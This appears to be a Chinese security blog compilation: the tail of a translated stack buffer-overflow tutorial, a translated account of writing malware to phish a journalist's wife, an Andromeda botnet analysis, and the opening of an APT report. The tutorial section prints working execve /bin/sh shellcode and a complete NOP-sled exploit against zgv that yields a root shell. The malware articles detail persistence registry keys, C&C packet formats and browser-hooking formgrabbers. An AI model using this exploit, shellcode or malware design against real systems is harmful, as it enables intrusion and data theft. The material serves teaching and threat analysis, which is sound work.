EBP是0x787878,这就意味我们已经写入了超出缓冲区输入可以控制的范围。0x78的x是十六进制的标志。该过程有32个字节的最大的缓冲器。我们已经在内存中写入了比用户输入更多的数据,因此重写EBP和返回值的地址是'xxxx',这个过程会尝试在地址0x787878处重复执行,这就会导致段的错误。

3.2 改变返回值地址

让我们尝试利用这个程序来返回lame(),我们要改变返回值的地址从0x80484d0到0x80484cb,在内存中,我们有32字节的缓冲区空间|4个字节保存EBP|4个字节的RET。下面是一个很简单的程序,把4个字节的返回地址变成一个1个字节字符缓冲区:

main()

{

int i=0; char buf[44];

for (i=0;i<=40;i+=4)

*(long *) &buf[i] = 0x80484cb;

puts(buf);

}

# ret

ËËËËËËËËËËË,

 

# (ret;cat)|./blah

test         <- user input

ËËËËËËËËËËË,test

test         <- user input

test

我们在这里使用这个程序通过了函数两次。如果有溢出存在,函数的返回值地址是可以变的,从而改变程序的执行线程。

4 Shellcode

为了简单,Shellcode使用简单的汇编指令,我们写在栈上,然后更改返回地址,使它返回到栈内。使用这个方法,我们可以我们可以把代码插入到一个脆弱的进程中,然后在栈中正确的执行它。所以,让我们通过插入的汇编代码来运行一个Shell。一个常见的调用命令是execve(),它加载和运行任意的二进制代码,终止执行当前的进程。联机界面给我的应用:

int  execve  (const  char  *filename, char *const argv [], char *const envp[]);

 

Lets get the details of the system call from glibc2:

 

# gdb /lib/libc.so.6

(gdb) disas execve

Dump of assembler code for function execve:

0x5da00 :       pushl  %ebx

 

/* this is the actual syscall. before a program would call execve, it would

  push the arguments in reverse order on the stack: **envp, **argv, *filename */

/* put address of **envp into edx register */

0x5da01 :     movl   0x10(%esp,1),%edx

/* put address of **argv into ecx register */

0x5da05 :     movl   0xc(%esp,1),%ecx

/* put address of *filename into ebx register */

0x5da09 :     movl   0x8(%esp,1),%ebx

/* put 0xb in eax register; 0xb == execve in the internal system call table */

0x5da0d :    movl   $0xb,%eax

/* give control to kernel, to execute execve instruction */

0x5da12 :    int    $0x80

 

0x5da14 :    popl   %ebx

0x5da15 :    cmpl   $0xfffff001,%eax

0x5da1a :    jae    0x5da1d <__syscall_error>

0x5da1c :    ret

结束汇编转存。

4.1 使代码可移植

我们必须应用一个策略使没有参数的Shellcode在内存中的传统方式,通过在它们的页存储上的精确位置,在编译中完成。

一旦我们估计shellcode的大小,我们能够使用指令jmp和call来得到指定的字节在执行线程向前或是向后。为什么使用call?我们有机会使用CALL来自动的在栈内存储返回地址,这个返回地址是在下一个CALL指令后的4个字节。通过放置一个正确的变量通过使用call,我们间接的把地址压进了栈中,没有必要了解它。

0   jmp      (skip Z bytes forward)

2   popl %esi

... put function(s) here ...

Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)

Z+5 .string     (first variable)

(注:如果你要写的代码比一个简单的shell还要复杂,可以多次使用上面的代码。字符串放在代码的后面。你知道这些字符串的大小,因此可以计算他们的相对位置,一旦你知道第一个字符串的位置。)

4.2 Shellcode

global code_start           /* we'll need this later, dont mind it */

global code_end

       .data

code_start:

       jmp  0x17

       popl %esi

       movl %esi,0x8(%esi)     /* put address of **argv behind shellcode,

                               0x8 bytes behind it so a /bin/sh has place */

       xorl %eax,%eax            /* put 0 in %eax */

       movb %eax,0x7(%esi)   /* put terminating 0 after /bin/sh string */

       movl %eax,0xc(%esi)    /* another 0 to get the size of a long word */

my_execve:

       movb $0xb,%al             /* execve(         */

       movl %esi,%ebx           /* "/bin/sh",      */

       leal 0x8(%esi),%ecx      /* & of "/bin/sh", */

       xorl %edx,%edx           /* NULL           */

       int $0x80        /* );           */

       call -0x1c

       .string "/bin/shX"   /* X is overwritten by movb %eax,0x7(%esi) */

code_end:

(相对偏移了0x17和-0x1c通过放在0x0,编译,反汇编和看看shell代码的大小。)

这是一个正在工作着的shellcode,虽然很小。你至少使用exit()来调用和依附它(在调用之前)。Shellcode的正真的艺术还包括避免任何二进制0代码和修改它为例,二进制代码不包含控制和小写字符,这将会过滤掉一些问题程序。大多数的东西是通过自己修改代码来完成的,就是我们想的使用mov %eax,0x7(%esi)指令。我们用\0来取代X,但是在shellcode初始化中没有\0。

让我们测试下这些代码,保存上面的代码为code.S和下面的文件为code.c:

extern void code_start();

extern void code_end();

#include <stdio.h>

main() { ((void (*)(void)) code_start)(); }

 

# cc -o code code.S code.c

# ./code

bash#

现在你可以把shellcode转变成16进制字符缓冲区。要做到这的最好的方法就是打印:

#include <stdio.h>

extern void code_start(); extern void code_end();

main() { fprintf(stderr,"%s",code_start);

通过使用aconv –h或bin2c.pl来解析它,可以在http://www.dec.net/~dhg或是http://members.tripod.com/mixtersecurity上找到工具。

五 写一个利用

让我们看看如何改变返回地址指向的shellcode进行压栈,写一个攻击的例子。我们将要采用zgv,因为这是可以利用的一个最简单的事情。

# export HOME=`perl -e 'printf "a" x 2000'`

# zgv

Segmentation fault (core dumped)

# gdb /usr/bin/zgv core

#0  0x61616161 in ?? ()

(gdb) info register esp

     esp: 0xbffff574 -1073744524

那么,这是在栈顶的故障时间,安全的假设是我们能够使用这作为我们shellcode的返回地址。

现在我们要在我们的缓冲区前增加一些NOP指令,所以我们没有必要对于我们内存中的shellcode的精确开始的预测100%的正确。这个函数将会返回到栈在我们的shellcode之前,通过这个方式使用NOPs的头文字JMP命令,跳转到CALL,在转回popl,在栈中运行我们的代码。

记住,栈是这样的。在最低级的内存地址,ESP指向栈的顶部,初始变量被储存,即时缓冲器中的zgv储存了HOME环境变量。在那之后,我们保存了EBP和前一个函数的返回地址。我们必须要写8个字节或是更多在缓冲区后面,用栈中的新的地址来覆盖返回地址。

Zgv缓冲器有1024个字节。你可以通过扫视代码来发现,或是通过在脆弱的函数中搜索初始化的subl $0x400,%esp (=1024)。我们可以把这些放在一起来利用。

5.1 zgv攻击实例

/*                   zgv v3.0 exploit by Mixter

          buffer overflow tutorial - http://1337.tsx.org

 

        sample exploit, works for example with precompiled

    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */

 

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

 

/* This is the minimal shellcode from the tutorial */

static char shellcode[]=

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"

"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

 

#define NOP     0x90

#define LEN     1032

#define RET     0xbffff574

 

int main()

{

char buffer[LEN];

long retaddr = RET;

int i;

 

fprintf(stderr,"using address 0x%lx\n",retaddr);

 

/* this fills the whole buffer with the return address, see 3b) */

for (i=0;i<LEN;i+=4)

   *(long *)&buffer[i] = retaddr;

 

/* this fills the initial buffer with NOP's, 100 chars less than the

   buffer size, so the shellcode and return address fits in comfortably */

for (i=0;i<LEN-strlen(shellcode)-100);i++)

   *(buffer+i) = NOP;

 

/* after the end of the NOPs, we copy in the execve() shellcode */

memcpy(buffer+i,shellcode,strlen(shellcode));

 

/* export the variable, run zgv */

 

setenv("HOME", buffer, 1);

execlp("zgv","zgv",NULL);

return 0;

}

 

/* EOF */

 

We now have a string looking like this:

 

[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]

 

While zgv's stack looks like this:

 

v-- 0xbffff574 is here

[     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]

 

The execution thread of zgv is now as follows:

 

main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));

此时,zgv做不到边界检查,写入超出了smallbuffer,返回到main的地址被栈中的返回地址覆盖。function()离不开/ ret和栈中EIP的指向。

0xbffff574 nop

0xbffff575 nop

0xbffff576 nop

0xbffff577 jmp $0x24                    1

0xbffff579 popl %esi          3 <--\    |

[... shellcode starts here ...]    |    |

0xbffff59b call -$0x1c             2 <--/

0xbffff59e .string "/bin/shX"

 

Lets test the exploit...

 

# cc -o zgx zgx.c

# ./zgx

using address 0xbffff574

bash#

5.2 编写攻击的进一步提示

有很都可以被利用的程序,但还是很脆弱。但是这有很多的技巧,你可以通过过滤等方式得到。还有其他的溢出技术,这并不一定要包括改变返回地址或是只是放回地址。有指针溢出,函数分配的指针能够被覆盖通过一个数据流,改变程序执行的流程。攻击的返回地址指向shell环境指针,shellcode为与那里,而不是在栈上。

对于一个熟练掌握shellcode的人是在根本上的自己修改代码,最初包含可以打印的,非白色的大写字母,然后修改自己它,把shellcode函数放在要执行的栈上。

你应该永远不会有任何二进制0在你的shell代码里,因为如果它包含任何都可能无法正常的工作。但是本文讨论了怎么升华某种汇编指令与其他的命令超出了范围。我也建议读其他大的数据流怎么超出的,通过aleph1,Taeoh Oh和mudge来写的。

5.3 重要注意事项

你将不能在Windows 或是 Macintosh上使用这个教程,不要和我要cc.exe和gdb.exe。

六 结论

我们已经知道,一旦用户依赖存在的的溢出,在90%的时间了是可以利用的,即使利用起来和困难,同时要一些技能。为什么写这个攻击很重要呢?因为软件企业是无知的。在软件缓冲区溢出方面的漏洞的报告已经有了,虽然这些软件没有更新,或是大多数用户没有更新,因为这个漏洞很难被利用,没有人认为这会成为一个安全隐患。然后,漏洞出现了,证明和实践是程序能够利用,而且这就要急于更新了。

作为程序员,写一个安全的程序是一个艰巨的任务,但是要认真的对待。在写入服务器时就变的更加值得关注,任何类型的安全程序,或是suid root的程序,或是设计使用root来运行,如特别的账户或是系统本身。使用范围检查,更喜欢分配动态缓冲器,输入的依赖性,大小,小心/while/etc。收集数据和填充缓冲区,以及一般处理用户很关心的输入的循环是我建议的主要原则。

目前在安全行业取得了显著的成绩,使用非可执行的栈,suid包,防卫程序来核对返回值,边界核查编辑器等技术来阻止溢出问题。你应该在可以使用的情况下使用这些技术,但是不要完全依赖他们。如果你运行vanilla的UNIX的发行版时,不要假设安全,但是有溢出保护或是防火墙/IDS。它不能保证安全,如果你继续使用不安全的程序,因为_all_安全程序是_software_和包含自身漏洞的,至少他们不是完美的。如果你频繁的使用updates _和_ security measures,你仍然不能渴望安全,_but_你可以希望。

(全文完)

也来黑记者:写个恶意软件玩玩(一)

$
0
0

原文:http://blog.spiderlabs.com/2013/10/hacking-a-reporter-writing-malware-for-fun-and-profit-part-1-of-3.html

翻译:徐文博

Mattew Jakubowski(@jaku) 对此文的编写做出了贡献。

潘多省日报(Pando Daily)的编辑Adam Penenberg最近发表了一篇文章“我让黑客来调查我,他们的发现让我不寒而栗”,讲述了我和我的小伙伴“骚扰”他生活的事情。 如果你还没读过, 那我强烈建议你去瞅瞅。

本周该日报上又发布了一篇后续文章,“一个记者让我们黑他,我们是怎么做到的呢”,从我们的角度进行了阐述。

我想有些读者朋友可能比较好奇更详细的渗透技术细节。所以我们决定对此发表3篇的系列文章以示阐述。

第一部分和第二部分将详细介绍我们自身团队( Matt Jakubowski, Daniel Chechik,和我)所做的用于本次渗透的恶意软件和钓鱼邮件。下周,我们的同事Garret Picchioni将会展示更多的关于现场和无线入侵的技术细节。

我在蜘蛛实验室(SpiderLabs)的恶意软件分析小组(Malware Analysis Team)作为一名安全研究员的日常工作主要包括逆向恶意软件(通常是取证分析期间遇到的一些东西)。 当被要求加入这次行动时,很自然的我会帮着写些定制的恶意软件以获取Adam电脑的权限。 通过编写一个恶意文件就能证明我的“黑帽”身份,这样的机会真的很难得哦。这让我可以站在双方的角度去看待问题,也转而有助于我的日常逆向工作。总之,我对此很兴奋。

我们要去黑个记者, 写些定制的恶意软件,来玩玩吧。

第1步:侦查/准备工作

在对Adam进行攻击之前,我们尽量收集了很多信息。 也找到了很多——公寓的照片, 信用记录报告,姓名,生日,电子邮件,电话号码等等。还有很多没有列举,但仍然有个问题。 即使有了这些,我们也没能知道他和妻子所用的操作系统(Windows, OSX, Linux等等)。 在针对特定的目标设计恶意软件时,所用的负载是平台相关的。为此,我们需要一个与平台无关的攻击包,能够识别出操作系统,并能根据操作系统下载执行相应的恶意软件。在这一步,我求助了我的同事Daniel Chechik(@danielchechik)。Daniel专攻web的攻击利用,能用他的专业知识给予团队帮助。 我向他描述了需求,以及所面临的困境。 几天之后, 他给我带来了很棒的解决方案。

Daniel 创建了一个恶意的Java小程序来检测运行在目标主机上运行的Java版本,以及主机的操作系统。有了这些信息,该程序将利用已知的Java漏洞(CVE-2013-2423或者CVE-2012-0503),根据操作系统下载一个特定的负载,并予以执行。我对该小程序进行了稍微的修改,保证即使漏洞利用失败的情况下也能够下载、执行特定的负载, 以防用户更新了Java版本。最后看起来是这样的:

Java Malware Execution Flow

图1:Java恶意软件执行流图

不管Adam或者其妻子的电脑上运行的是Mac还windows操作系统,我们的方案都能将其感染,同时也提供了多个攻击包,根据所实际所安装的Java版本进行利用。

现在你可能会问,“等等,如果没有安装Java呢?”, “如果他们是在智能手机上打开文件呢?”。 “如果安装了杀毒软件怎么办?”。 这些都是可能的问题。 杀软对Daniel所创建的文件,以及我所编写的OSX/Windows上的恶意软件, 有很低的检测率。 即使Adam的电脑上运行了杀软, 它们也很难拦截到这些文件。 至于受害者电脑的Java版本, 以及可能通过移动设备访问文件这些问题,要记住,这只是我们众多计划方案中的很小一部分。我们没有期望这是一个完美的方案。 我们把鸡蛋放到了不同的篮子里,总希望有一个能成功。 这就是作为攻击者的优势所在。我们无需每一个计划都成功——只要有一个能搞定就行了。攻击的目标却需要应对我们的每一次尝试。

有了这个可以攻击多个平台的恶意文件,轮到我着手编写运行在Windows和OSX上的恶意软件了。这是我第一次写OSX上的恶意软件,是个非常有趣的学习经历。我的计划很简单——如果恶意软件加载到Adam的电脑上,要完成下面两件事:

1. 确保恶意软件能持久地存在,除非我手动的将其卸载。

2. 下载执行其他的恶意软件或者命令, 赋予我们对电脑的完全控制权。

Snippet of Code From OSX Malware

    图2:OSX上恶意软件的代码片段

这就是我所做的。编写Windows上的恶意软件非常简单了,因为之前已为其他事件写过类似的程序。 实际上,编写OSX的恶意软件同样也很简单。 比我原来所想的要简单的多,大概花费了一到两天的时间来完成(主要因为所做的测试,确保其正常运行)。 虽然不同平台下的二进制文件不同,但它们所执行的逻辑是相同的, 如下所示:

1. 将自身拷贝到文件系统的一个隐藏目录

2. 通过一些常用的手段来确保持久存在

3. 每10分钟向远程服务器请求一次,查看是否有要执行的指令。如果有,就执行指令。

准备好了恶意软件,是时候“攻击”Adam和他的妻子了。

第2步:攻击

Adam已经在文章里提到了很多的细节, 所以我会尽量不重复那么多。我们决定对Adam和妻子进行钓鱼邮件攻击。我们知道Adam的妻子有个普拉提(Pilates)工作室,我们可以扮成找工作的。我写了一封看上去很正常的寻找普拉提教练的邮件,附加上Daniel的恶意Java小程序发了出去。

几天后,我们命中了。我们紧紧抓住机会,十分钟之内就获得了对Adam妻子电脑的完全控制权。似乎是她打开了Java文件导致OSX恶意软件安装到了她的电脑上。在这十到十五分钟里,我们沉浸在获得权限的喜悦之中,无比幸福。

然后呢?然后,突然就沉默了。

我们失去了连接,再也没有重新获取到。我们静静的坐着,想象着可能发生的情况。或许她只是完成了今天的工作,然后关上了电脑。 我们再等了36个小时,希望再次获取连接。在此期间, Jaku和Garret (在纽约现场)通过其他的手段进行着攻击。

此时,我开始怀疑我的恶意软件。 我担心因为我的一个愚蠢的错误使得我们丧失了唯一的机会。对代码审查之后,很确定,是我犯了错。没有做太多的技术处理,我逻辑处理中的一个错误导致恶意软件在Adam妻子关上电脑(将其休眠而不是重启)之后无法运行。 意识到这一点,25分钟之后,我搞好了OSX恶意软件的2.0版本。 可问题是,我需要让她再次打开该文件。

第2.5步:再次攻击

payload即便我准备好了新版本的OSX恶意软件,我们也很难消除Adam妻子的疑虑,让其再打开一个Java文件。 因为我们没跟Adam有任何联系,也不确定她妻子是否怀疑了。我们猜测可能他妻子已经告诉他所收到的怪异邮件,以及附件如何打不开。Adam可能已经让她恢复了电脑备份,不要再打开类似文件。总之,我们想再次获取权限的希望渺茫。

我们决定用不同的发送机制来推进。这次,Jaku给我提供了帮助。我们将恶意的OSX程序打包进一个ZIP文件。当文件打开时, 程序不仅会执行我改进后的恶意软件,同时还会打开一个合法的视频文件。这是符合我们上次的处理场景的。也更改了默认的图标,让其看起来是个正常的视频文件。 我们猜测如果Adam妻子这次再打开文件,看到一个视频文件打开,会认为文件是正常的。

The Phishing Email

图4.钓鱼邮件(取自潘多省日报的原文章)

第二天,焦灼的等待中,终于有了新的连接。Adam的妻子打开了第二封邮件。我们再次获得了20分钟的权限。

然后,突然又再次失去了连接。

我们屏住呼吸,希望她只是简单的再次关上了电脑。 我们的新版恶意软件会在其再次打开电脑时恢复操作。我们一直等待着,吃完了晚饭,继续等待着。

敬请期待该系列的下篇文章,我们将会介绍恶意软件攻击的第3步,以及我们如何获取到财务记录,W-2信息,以及更多的来自Adam妻子受感染电脑的信息。

(未完待续)

瞅一瞅Andromeda僵尸网络

$
0
0

原文:http://blog.fortinet.com/post/A-Good-Look-at-the-Andromeda-Botnet

翻译:徐文博

Andromeda是一个模块化的bot。最原始的bot仅包含一个加载器,在其运行期间会从C&C服务器上下载相关模块和更新,它同时也拥有反虚拟机和反调试的功能。它会注入到可信进程中来隐藏自己,然后删除原始的bots。该bot会潜伏很长时间(从几天到几个月不等)才与C&C服务器进行通信。所以,很难获取到感染主机和C&C服务器间的网络流量信息。

最新的官方编译版本是2.06,该版本的bot所发的包中有新增的内容。此外,它也能够分发其他多样的僵尸变种,下载相关模块和更新。

Hex1

图1:GeoIP地图显示的Andromeda的分布

一、打包器

打包器中有大量的冗余代码,所以可以很好的隐藏真实代码。它会调用GetModuleHandlerA API去获取bot的基址,检查MZ标记和PE特征码,然后确认是否有6个段。如果是,则会从第4个段中加载数据,进行解密,然后会校验解密的MZ标记、PE特征码,调用CreateProcessW API来重新加载执行原始的bot,但会把dwCreationFlags值设为CREATE_SUSPENDED。打包器会用解密的第4个段中的代码,来注入到这第二个进程中。稍后,打包器会采用同样的方法,从第5个段中加载另一个PE。

这个强大的打包器能够同时嵌入、执行两个不同的恶意代码。然而,第4个段中的数据解密后并不是PE格式,所以,该打包器仅能携带而不能执行Andromeda bot。

二、加载器

该加载器首先从TEB结构中获取到ntdll.dll的基址,将其作为参数,来获取ntdll导出的API,提升了分析的复杂度。对API的处理不是通过函数名称,而是使用校验和。下面是一些API的校验和以及它们对应的名称:

5584B067h OpenMutexA

5F467D75h SetErrorMode

5E639D43h VirtualFree

0AAEB7C1Eh VirtualAlloc

9ED23A16h LoadLibraryA

94D07C92h CloseHandle

8C552DB6h Process32Next

0B4D1BAFAh Process32First

99D6DD7Ah CreateToolhelp32Snapshot

41D27AF6h GetModuleHandleA

接着,加载器会调用OpenMutexA API来检查“lol”互斥量,以决定是否需要跳过反虚拟机和反调试的相关处理。

如果没找到这个互斥量,bot就会确认是否在虚拟机或者调试环境下执行:

1) 遍历当前进程列表,将每个进程名称转换为小写,然后计算其校验和,与嵌入的校验和做比较,它代表着虚拟机环境。(如图2)

Hex2图2:反虚拟机

2) 然后试着调用GetModuleHandleA API加载sbiedll.dll来检查是否为Sandboxie虚拟机。

3) 查询下面的注册表项,获取磁盘名称(见图3):

key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Disk\Enum

跳过最开始的8个字节,然后检查接下来的4个字节(图4)

目前,加载器检测3款虚拟机,如图4所示。

Hex3

图3:查询注册表,获取磁盘名称

Hex4

图4:跳过8字节,然后检查接下来的4个字节

4)两次调用rdtsc指令,来计算返回值的不同。大于200h的返回值表示在调试环境中。

如果bot加载器检测到任何的异常情况,它不会像其他僵尸那样直接退出,而是继续运行一小段我称之为“passive code”(被动模式代码)的代码。

被动模式的代码

这一小段代码将其自身拷贝到%ALLUSERSPROFILE%文件夹中,变成svchost.exe,然后在如下的注册表项中添加自身:

Key:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

ValueName:SunJavaUpdateSched

Data:%ALLUSERSPROFILE%\\svchost.exe

这段代码会打开本地的8000端口进行监听。一旦接收到远程命令,就会执行cmd.exe进行接收、执行。

三、主要代码的注入

调用SetEnvironmentVariableW API将最初bot的全路径保存到环境变量src中,然后调用ZwQueryInformationProcess API来检查系统版本是32位的还是64位的。如果是运行在32位系统上,bot就会注入wuauclt.exe,否则,会注入svchost.exe。(我们的示例是运行在32位系统下。

Bot会创建一个新的进程wuauclt.exe,其dwCreationFlags被设置为CREATE_SUSPENDED。然后调用多个MAP API注入wuauclt.exe。将wuauclt.exe的入口点代码改成如下的代码:

push <address of injected code>

retn

最后,bot会调用ZwResumeThread API来激活注入的进程wuauclt.exe, 然后直接退出。

四、主要代码的本地环境初始化

所注入的代码,所有的信息都是显而易见的。没有什么加密的字符串、代码段等。Bot调用SetErrorMode API来禁用大多数的错误告警窗口。其参数是0x8007, 代表如下的含义:

  • SEM_FAILCRITICALERRORS

  • SEM_NOALIGNMENTFAULTEXCEPT

  • SEM_NOGPFAULTERRORBOX

  • SEM_NOOPENFILEERRORBOX

Bot调用GetEnvironmentVariableW API,结合环境变量src来获得最初bot的全路径,然后调用SetEnvironmentVariableW API将这个变量设为空串。它会检查当前进程(wuauclt.exe)的安全标识,看它是否属于管理员,然后设置复制的目的地和注册表键值。之后,使用当前的时钟滴答值来确定文件名的后缀。

Bot可能将其自身拷贝到两个目的地其中的一个:

如果当前用户是管理员,“ar”标志被设为1。Bot会设置如下的注册表:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

<%lu>

%allusersprofile%\Local Settings\Temp\ms<%s>.<%s>

否则,“ar”标志会被设为0,如下设置注册表:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

Load

%allusersprofile%\Local Settings\Temp\ms<%s>.<%s>

根据当前时钟滴答值,文件名的后缀可能是它们中的一个:exe、com、scr、pif、cmd或者bat。

Bot会利用系统卷信息产生的字符串再新建一个互斥量。如果该互斥量已经存在,就会删除原来的bot样本,然后直接退出。否则,bot将其自身拷贝到目的地,再添加到注册表中,以便下次系统启动时,会自动的运行。

最终,bot会创建两个新线程来,结合注册表来执行之前保存的模块和注册表中的DLL(图6)。当然了,它们使用了RC4加密算法,有一个假的ZIP头部(图7)。

Hex6

图6:新建两个线程来执行之前保存的模块

Hex7

图7:这些线程使用了RC4加密,有个假的ZIP头部

至此,完成了本地的初始化操作,接下来将会准备与C&C服务器的网络操作。

五、网络操作的初始化

Bot 会循环地每隔23C34600h毫秒新建一个线程,也就是6天一次。因此,对网络流量的短期监控并不足以检测到Andromeda的存在。

第一次发送的包的格式如下:

id:%lu|bid:%lu|bv:%lu|sv:%lu|pa:%lu|la:%lu|ar:%lu

  • id 值根据本地系统卷信息产生

  • bid 值是硬编码的,可能指编译id.

  • bv值也是硬编码的,可能指编译版本(目前是206h(518))

  • sv值代表受害机器的系统版本

  • pa值是调用ZwQueryInformationProcess API的返回值,用以确定OS是32位还是64位。

  • la值是根据www.update.microsoft.com的IP地址而生成的

  • ar值是调用CheckTokenMembership API的返回值,确认bot是否运行在管理员权限下。

其中,pa和ar值是该版本的Andromeda新增的数据。

示例如图8所示。 图9展示了同样的内容进行RC4加密后的情况,图10展示了进行base64编码后的数据。最后,图11展示了真实的网络流量,图12展示了接收的数据包的二进制表示。

Hex8

图8:网络包举例

Hex9

图9:RC4加密后

Hex10

图10:base64编码后的字符串

Hex11

图11:真实的网络流量

Hex13

图12:接收到的数据包的二进制视图

对内容的简单结构化表示如下:

Struct RecvPack
{
    INT CRC32;
    Char(*) Body;
}*RecvPack;

C&C服务器没有采用同一个RC4 key来加密应答包,而是使用了id值,其长度只有4字节。所以,不发送数据包,我们是没办法对应答数据包进行解密的。

接收到的数据包,解密后如图13所示

Hex13 (1)

图13:接收到的数据包解密后的情况

其结构如下:

Hex12

首先来根据Andromeda C&C服务器的网页控制面板的快照看看命令类型(“Task type”)的含义(图14)。

Hex15

图14:Andromeda C&C服务器的网页控制面板快照,显示了多样的命令类型(“Task type”)

所接收到的数据包中有多块内容(在图13中有两块)。图13中,第一块的Cmd type是2,表示“安装插件”。Bot会试图下载相关模块,如图15所示。

Hex16

图15:Bot试图下载模块

该模块有大小为0x10的假Zip头部。前面我们已经看到过这样的例子,只不过是保存在注册表中(图7),它们是一样的。

Bot在模块执行后,会将其保存到注册表中。然后Bot会反馈如下格式的信息给C&C服务器:

id:%lu|tid:%lu|result:%lu

一个真实的例子如下所示:

id:150233784|tid:106|result:1 

这里的id和所发送的数据包中的是一样的。Tid在块的04偏移处,106就是16进制的6A。如果模块执行成功,result值就是1,否则为0。图16展示了网络流量。

Hex17

图16:网络流量

其他块的Cmd type是1,表示“下载exe”, 传播其他的恶意软件。Bot会试图下载exe,将其作为临时文件来运行。Exe文件并没有像模块那样进行了加密(图17):

Hex18

图17:exe没有加密

执行之后,Bot会与C&C服务器进行通信。

Hex19

图18:Bot与C&C服务器的通信

我们见过一个名为“r.pack”的模块。它在执行期间做了啥?是否还安装了其他类型的模块呢?

六、模块

在另外一个变种的网络流量中,至少见过另外两个模块(图19)。共有3个模块,如下:

Module file name

Underground module name

Underground description

Price

f.pack

Formgrabber

Without the injector, http/https, all browsers including Chrome

$500

r.pack

Ring3 RootKit

$300

s.pack

Socks4

NA

Complete

NA

Hex20

图19:观察到两个模块

1、r.pack

这个r.pack是ring3级rootkit,它会注入所有运行中的进程,然后hook住如下的API来隐藏自身:

  • ZwResumeThread

  • ZwQueryDirectoryFile

  • ZwEnumerateValueKey

2、f.pack

该模块用于信息收集。它会新建一个线程,初始化、监控一个命名的管道。一旦有数据进入该管道,线程就会对其进行解析,通过一个不同的URL链接与C&C服务器通信。(图20)

Hex21

图20

线程会将默认的C&C服务器的入口image.php替换为fg.php,然后添加一个参数id,与第一次发包的id一样。

所发包的内容是base64加密的(与前面发包的一样)。解密后,数据如下:-config C&C服务器会用格式化的数据进行应答,算法与之前的应答数据包相同,只是这里的RC4 key不是取自id, 而是发包用的的RC4 key.

解密后的格式如下:

  • facebook.com.+pass=

接下来,和r.pack一样,它会注入所有运行的进程,hook住ZwResumeThread API。然后检查进程名称。一旦找到如下的4种网页浏览器,就会hook住相应的API来收取信息:

iexplore.exe

WINNET.dll HttpSendRequestW

HttpSendRequestA

opera.exe

RtlFreeHeap

firefox.exe

nspr4.dll

PR_Write

chrome.exe

ZwReadFile

POST字段后的所有数据都会被检查,如果符合所有的条件,则会被发送到命名管道中。之前提到对该命名管道进行监控的线程会继续根据相关格式验证所抓取到的数据,然后发送到C&C服务器上。

3、S.pack

该模块充当一个本地代理,有个导出函数Report,用于显示自己的信息(图21)

Hex22

图21

该模块会打开本地的0438h(1080)端口,等待远程连接。如果受害机器是在防火墙后面,这就不起作用了。目的IP和端口在应答包中。

七、另外一个特殊的变种

Andromeda的另外一个变种的应答包如图22所示。

Hex23

图22

我们可以看到,它没有Cmd type 2, 只有“安装exe”的Cmd type 1和“更新bot”的Cmd 3,此时,该bot只是用于分发其他的恶意软件(如,ZeroAccess, Kelihos, FakeAV,等)

八、结论

我们已经目睹了Andromeda bot所做的变化。它非常的灵活,极具动态性。通过安装不同的模块,可以增强其自身在不同领域的功能。也可以很高效的分发其他恶意软件。它使用多个RC4 key用于加密同C&C服务器间的通信,这使得很难对其跟踪。

此外,不同的僵尸网络联合起来进行传播,所以受感染的机器暴露于更大的风险之下。这给有效的检测、清除感染机器带来了严重的问题。

猫和老鼠的故事还是继续着。老鼠变得越来越聪明,灵活多变,那么猫呢?

(全文完)

虎视眈眈的Pitty Tiger

$
0
0
原文:Airbus Defence & Space公司2014年发布的《The Eye of the Tiger》 翻译:做个好人、Archer 原作者 Ivan FONTARENSKY    Malware Research Fabien PERIGAUD    Reverse Engineering Ronan MOUCHOUX    Threat Intelligence Cedric PERNET    Threat Intelligence David BIZEUL    Head of CSIRT 摘要 近些年来,通过网络窃取机密的事情屡见不鲜。各路媒体争相报道以APT为代表的计算机攻击以及其危害。频发于网络的数字攻击已经影响到现实的生产和生活,我们必须从战略上解决这一问题。 AIRBUS Defense & Space不仅可为顾客提高网络安全事故的应急响应服务,而且能够指导顾客拟定完整的解决方案。 今天,我们决定公开一个叫做“Pitty Tigger” 的APT组织的相关信息。这片报道所涉及的资料,均是AIRBUS Defense & Space的Threat Intelligence组织的第一手信息。 我们的资料表明,Pitty Tiger组织在2011年就锋芒毕露。他们攻击过多个领域的各种单位。他们对国防和通讯业的承包商下过手,也对一个(或更多)政府部门发起过攻击。 我们投入了大量精力以追踪这个组织,现在已经能够披露他们的各类信息。我们已经对他们“恶意软件军火库”的情况了如指掌,甚至足以披露他们的技术人员结构。 调查表明,目前为止Pitty Tigger未曾用过任何0day Exploits。与众不同的是,他们喜欢使用自己开发的、专用的恶意软件。虽然Pitty Tiger能够潜入目标深藏不露,但是并不如我们发现的其他组织那样老到。 基本可以断定Pitty Tiger不是政府背景的网络入侵组织。无论从经验还是从财力方面看,他们都有明显区别。我们认为,这个组织属于机会主义的入侵组织,他们把被害目标(多数是私人企业)的资料卖给商业竞争对手。 结合这个组织的有关资料,我们可以看出Pitty Tiger是个相当小的组织,应该不是发起APT攻击的那种大规模组织。当然,我们的数据来源有限,所以这种结论可能不正确。 本文将在最后揭示Pitty Tiger的显著特征,以帮助读者判断他们是否深受其害。 一、犯罪手法:APT攻击 APT的攻击手段足以说明其危害的严重程度。它的攻击手段可以概括为下图: pitty_tiger 01 1、侦查阶段/Reconnaissance 入侵者选好目标并开始收集信息的时候,他就会发起侦查。 这方面能够获取的资料非常有限,可以说几乎没有。如果要收集这种资料就要监控所有入侵者的探测行为,不过这种做法的可行性很低。 入侵者在这个阶段的工作越到位,他们对整个目标的理解能力也就越强,他们就能更为有效的渗透到目标企业的网络系统中去。 